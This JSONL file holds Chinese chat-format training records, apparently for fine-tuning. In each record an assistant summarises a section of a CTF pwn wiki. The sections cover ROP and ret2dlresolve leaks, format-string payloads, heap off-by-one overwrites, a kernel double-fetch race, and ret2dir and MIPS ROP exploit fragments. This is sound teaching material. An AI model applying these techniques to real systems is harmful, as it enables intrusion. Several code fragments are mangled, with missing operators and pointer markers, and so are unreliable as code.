{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3b02205458494dab00c2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「leak link_map addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：leak link_map addr\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“leak link_map addr”展开。\n- rop = ROP(\"./main_partial_relro_64\") rop.raw(offset'\\x00') rop.raw(csu(0, 1 ,elf.got['write'],1,0x601008,8)) rop.raw(vuln_addr) rop.raw('\\x00'(256-len(rop.chain()))) io.send(rop.chain()) link_map_addr = u64(io.recv(8)) print(hex(link_map_addr))\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 246, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "leak link_map addr", "heading_path": ["leak link_map addr"], "original_id": "docs-ee04d68af3a3dcb52a13", "original_line": 1363, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "9818b645a7e7e583377adb32", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3b50f39cfe86c72d7262", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`\n标题：堆相关数据结构\n章节：堆相关数据结构 > 微观结构 > malloc_chunk > 概述\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“概述”展开。\n- malloc_chunk 的结构如下 ``c / This struct declaration is misleading (but accurate and necessary).\n- / Size of previous chunk (if free). / INTERNAL_SIZE_T size;\n- ` 首先，我们给出一些必要的宏的定义： `c / INTERNAL_SIZE_T is the word-size used for internal bookkeeping of chunk sizes.\n- 非常有意思的是，无论一个 chunk 的大小如何，处于分配状态还是释放状态，它们都使用一个统一的结构。\n- It declares a \"view\" into memory allowing access to necessary fields at known offsets from a given base.\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 14 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2341, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "概述", "heading_path": ["堆相关数据结构", "微观结构", "malloc_chunk", "概述"], "original_id": "docs-908a339455c9c0208266", "original_line": 949, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "source_root": "docs", "source_sha256": "b1de1dbec6826b99266e11e63b8d9fae7712a0f329395937de325e916d1378e8", "split": "train", "split_group_key": "b0bbb2a363dc9fa3c31a117e", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "堆相关数据结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3bab34a61068c8292b96", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「构造联系人获取堆地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > 堆上的格式化字符串漏洞 > 例子 > 构造联系人获取堆地址\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“构造联系人获取堆地址”展开。\n- 在部分环境下，system地址会出现\\x00，导致printf的时候出现0截断导致无法泄露两个地址，因此可以将payload的修改如下： `text [%6$p][%11$p][ccc][system_addr][bbbb][binsh_addr][dddd] `` payload修改为这样的话，还需要在heap上加入12的偏移。\n- 得知上面的信息后，我们可以利用下面的方式获取堆地址与相应的 ebp 地址。\n- 这里因为函数调用时所申请的栈空间与释放的空间是一致的，所以我们得到的 ebp 地址并不会因为我们再次调用而改变。\n- ``text [system_addr][bbbb][binsh_addr][%6$p][%11$p][bbbb] ` 来获取对应的相应的地址。\n\n关键术语：\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:text\n\n代码/命令片段线索：\n- text: 1 行，首行 `[system_addr][bbbb][binsh_addr][%6$p][%11$p][bbbb]`\n- text: 1 行，首行 `[%6$p][%11$p][ccc][system_addr][bbbb][binsh_addr][dddd]`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 382, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "构造联系人获取堆地址", "heading_path": ["例子", "堆上的格式化字符串漏洞", "例子", "构造联系人获取堆地址"], "original_id": "docs-16be670dd6b24cc8e27b", "original_line": 873, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "8148872f697beaddcd97bf77", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr", "code:text"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3baf7b711e608112f867", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「off-by-one 覆盖指针低字节」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：堆中的 Off-By-One > 实例 1: Asis CTF 2016 b00ks > 利用 > off-by-one 覆盖指针低字节\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“off-by-one 覆盖指针低字节”展开。\n- 程序中同样提供了一种 change 功能， change 功能用于修改 author name ，所以通过 change 可以写入 author name ，利用 off-by-one 覆盖 pointer array 第一个项的低字节。\n- 覆盖掉 book1 指针的低字节后，这个指针会指向 book1 的 description ，由于程序提供了 edit 功能可以任意修改 description 中的内容。\n- 我们可以提前在 description 中布置数据伪造成一个 book 结构，这个 book 结构的 description 和 name 指针可以由直接控制。\n- 其中 addr+58 是为了使指针指向 book2 的指针地址，使得我们可以任意修改这些指针值。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 11 行，首行 `def off_by_one(addr):`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 821, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "off-by-one 覆盖指针低字节", "heading_path": ["堆中的 Off-By-One", "实例 1: Asis CTF 2016 b00ks", "利用", "off-by-one 覆盖指针低字节"], "original_id": "docs-3565d84150097c42176f", "original_line": 1018, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "a77e33567d5e44302d0aaed0", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3c4cd17fca9d4a3fe60f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md`\n标题：Double Fetch\n章节：Double Fetch > 概述\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“概述”展开。\n- Double Fetch 直译就是 取值两次，直接理解就是在一次操作当中要两次（或是多次）重新获取某个对象的值，从漏洞原理上属于条件竞争漏洞，是一种内核态与用户态之间的数据访问竞争，其可能出现在下面这种情况当中： - 有一大段数据要从用户空间传给内核空间，但是直接传送整块数据会造成较大的开销，故选择只向内核传送一个指向用户地址空间的指针。\n- 一个典型的 Double Fetch 漏洞原理如下图所示，一个用户态线程准备数据并通过系统调用进入内核，该数据在内核中有两次被取用，内核第一次取用数据进行安全检查（如缓冲区大小、指针可用性等），当检查通过后内核第二次取用数据进行实际处理。\n- 而在两次取用数据之间，另一个用户态线程可创造条件竞争，对已通过检查的用户态数据进行篡改，在真实使用时造成访问越界或缓冲区溢出，最终导致内核崩溃或权限提升。\n- 在后续的操作当中内核需要多次通过该指针获取到用户空间的数据。\n- [图片: 典型的Double Fetch原理图;\n\n关键术语：\n- 边界/溢出\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 739, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "概述", "heading_path": ["Double Fetch", "概述"], "original_id": "docs-f3da5eeb490bef0c83a2", "original_line": 780, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/double-fetch.md", "source_root": "docs", "source_sha256": "c9b70bf8939ac1214b392075d17bd8d75fcd6da1799a7a73b3edd911a1a15991", "split": "train", "split_group_key": "1520a3ae35e50112e39f0ab4", "subcategory": "pwn/linux/kernel-mode", "terms": ["边界/溢出", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Double Fetch"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/double-fetch.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3c5cf363ca2247a46602", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md` 中的章节「Unsorted bin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md`\n标题：堆中的检查\n章节：堆中的检查 > 初始检查 > Unsorted bin\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Unsorted bin”展开。\n- | 检查目标 | 检查条件 | 报错信息 | | :-------------------: | :--------------------------------------: | :-------------------------: | | unsorted bin chunk 大小 | chunksize_nomask (victim) <= 2 * SIZE_SZ \\|\\| chunksize_nomask (victim) av->system_mem | malloc(): memory cor...\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 266, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "Unsorted bin", "heading_path": ["堆中的检查", "初始检查", "Unsorted bin"], "original_id": "docs-52fc0e0186fb8713727d", "original_line": 1033, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md", "source_root": "docs", "source_sha256": "4375f656de4fa14c2380f946b7c43a901ed3a64708e6a1af69983cd2bbed2373", "split": "train", "split_group_key": "cf5eee78677952fc8b81690e", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "堆中的检查"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3c79797353bab0ffe72e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/mips/rop.md` 中的章节「1. 调用 sleep 函数」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/mips/rop.md`\n标题：mips - ROP\n章节：p = process(['qemu-mipsel-static', '-L', './mipsel', './stack_bof_02']) > 1. 调用 sleep 函数\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“1. 调用 sleep 函数”展开。\n- ` 通过这个 gadget 我们先跳到 s3 的寄存器执行 sleep ，再通过控制的 ra 寄存器进行下一步操作 ` .text:000949EC move $t9, $s3 .text:000949F0 jalr $t9 ;\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 20 行，首行 `Python>mipsrop.find(\"li $a0, 1\")`\n- plain: 3 行，首行 `.text:000E2660 move $t9, $s2`\n- plain: 26 行，首行 `Python>mipsrop.tail()`\n- plain: 8 行，首行 `Python>mipsrop.find(\"mov $t9, $s3\")`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3881, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "1. 调用 sleep 函数", "heading_path": ["p = process(['qemu-mipsel-static', '-L', './mipsel', './stack_bof_02'])", "1. 调用 sleep 函数"], "original_id": "docs-df9f8d0a6e2e62590c6b", "original_line": 1242, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/mips/rop.md", "source_root": "docs", "source_sha256": "a60db714f9f9eeeed711316b4fed592f38bc0a546e6346e373edf68f83a6b81d", "split": "train", "split_group_key": "1400e50fcffaa99777488eda", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "mips - ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/mips/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3c8efeaea0366374e527", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2dir.md` 中的章节「final exploit」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2dir.md`\n标题：ret2dir\n章节：ret2dir > 例题：MINI-LCTF2022 - kgadget > final exploit\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“final exploit”展开。\n- if(getuid()) { puts(\"\\033[31m\\033[1m[x] Failed to get the root!\n- // to exit the process normally instead of segmentation fault } void constructROPChain(size_t rop) { int idx = 0;\n- idx++) rop[idx] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;\n- } int main(int argc, char argv, char envp) { saveStatus();\n- // construct per-page rop chain physmap_spray_arr[0] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n\n关键术语：\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 114 行，首行 `#define _GNU_SOURCE`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3430, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "final exploit", "heading_path": ["ret2dir", "例题：MINI-LCTF2022 - kgadget", "final exploit"], "original_id": "docs-b7deb69d318a50514331", "original_line": 806, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2dir.md", "source_root": "docs", "source_sha256": "03a9f28cf23312e37760324d080b1a938051541da85bfe9f74fc68c15831dd70", "split": "train", "split_group_key": "a75d982159eab620629b1506", "subcategory": "pwn/linux/kernel-mode", "terms": ["栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "ret2dir"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2dir.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3e07cc6f8655706a6ef1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「中层：内核模式驱动（Kernel Mode Driver）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识 > 二、内核态部分 > 中层：内核模式驱动（Kernel Mode Driver）\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“中层：内核模式驱动（Kernel Mode Driver）”展开。\n- 内核模式驱动可以分为如图所示的三层，越贴近底层越靠近详细具体的硬件结构： [图片文件: https://s2.loli.net/2025/02/01/KeypmW8xGPViXQH.png] 内核模式驱动被实现为离散的模块化组件，而非位于某个特定的 PE 文件中（有点像 LKM？\n- Windows 下的驱动有两种：用户模式驱动和内核模式驱动，后者负责向前者提供对应的接口，并将数据传递给更为底层的驱动程序。\n\n关键术语：\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 208, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "中层：内核模式驱动（Kernel Mode Driver）", "heading_path": ["基础知识", "二、内核态部分", "中层：内核模式驱动（Kernel Mode Driver）"], "original_id": "docs-0c3760812fd67bac2ea2", "original_line": 1446, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "62cca19c3277161e46f175fd", "subcategory": "pwn/windows/kernel-mode", "terms": ["pwn", "windows", "kernel-mode", "basic-knowledge"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3e362391274ab2885d59", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/mem-virtualization.md` 中的章节「扩展页表（Extend Page Table, EPT）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/mem-virtualization.md`\n标题：内存虚拟化\n章节：内存虚拟化 > 硬件辅助虚拟化 > 扩展页表（Extend Page Table, EPT）\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“扩展页表（Extend Page Table, EPT）”展开。\n- EPT 方案虽然相比起影子页表而言多了一层转换，但是并不需要干扰 Guest 原有的页表管理，GVA→GPA→HPA 的过程都由硬件自动完成，同时 Hypervisor 仅需要截获 EPT Violation 异常（EPT 表项为空），效率提高了不少。\n- 从软件层面似乎已经是难以有更好的优化的方案了，因此硬件层面的对内存虚拟化的支持便应运而生——EPT 即 Extend Page Table，是 Intel 为实现内存虚拟化而新增的特性，目的是为了减少内存访问的开销。\n- EPT 并不干扰 Guest VM 操作自身页表的过程，其本质上是额外提供了一个 Guest 物理地址空间到 Host 物理地址空间转换的页表，即使用一个额外的页表来完成 GPA→HPA 的转换。\n- [图片文件: ./figure/ept.png]\n\n关键术语：\n- pwn\n- virtualization\n- basic-knowledge\n- mem-virtualization.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 382, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "扩展页表（Extend Page Table, EPT）", "heading_path": ["内存虚拟化", "硬件辅助虚拟化", "扩展页表（Extend Page Table, EPT）"], "original_id": "docs-72e102df9e6d6ce44512", "original_line": 1419, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/mem-virtualization.md", "source_root": "docs", "source_sha256": "3a0d37c0b95de80ceec92b908d93c53d97b6ee855f6fca3c6c5b405221e68c91", "split": "train", "split_group_key": "4398c3817669e737b36dd695", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["pwn", "virtualization", "basic-knowledge", "mem-virtualization.md"], "title": "内存虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/mem-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3e6d1209645013d9989c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md` 中的章节「初始检查」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md`\n标题：堆中的检查\n章节：堆中的检查 > __int_free > 初始检查\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“初始检查”展开。\n- aligned_OK(size) | free(): invalid size |\n- | 检查目标 | 检查条件 | 报错信息 | | :--------: | :--------------------------------------: | :---------------------: | | 释放chunk位置 | (uintptr_t) p > (uintptr_t) -size \\|\\| misaligned_chunk(p) | free(): invalid pointer | | 释放chunk的大小 | size < MINSIZE \\|\\| !\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 285, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "初始检查", "heading_path": ["堆中的检查", "__int_free", "初始检查"], "original_id": "docs-5d8c9c12850d0309ccff", "original_line": 1034, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md", "source_root": "docs", "source_sha256": "4375f656de4fa14c2380f946b7c43a901ed3a64708e6a1af69983cd2bbed2373", "split": "train", "split_group_key": "b9fd3f10ddfcfe80532935d3", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "堆中的检查"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md", "split": "train", "type": "ctf_lora_sft"}
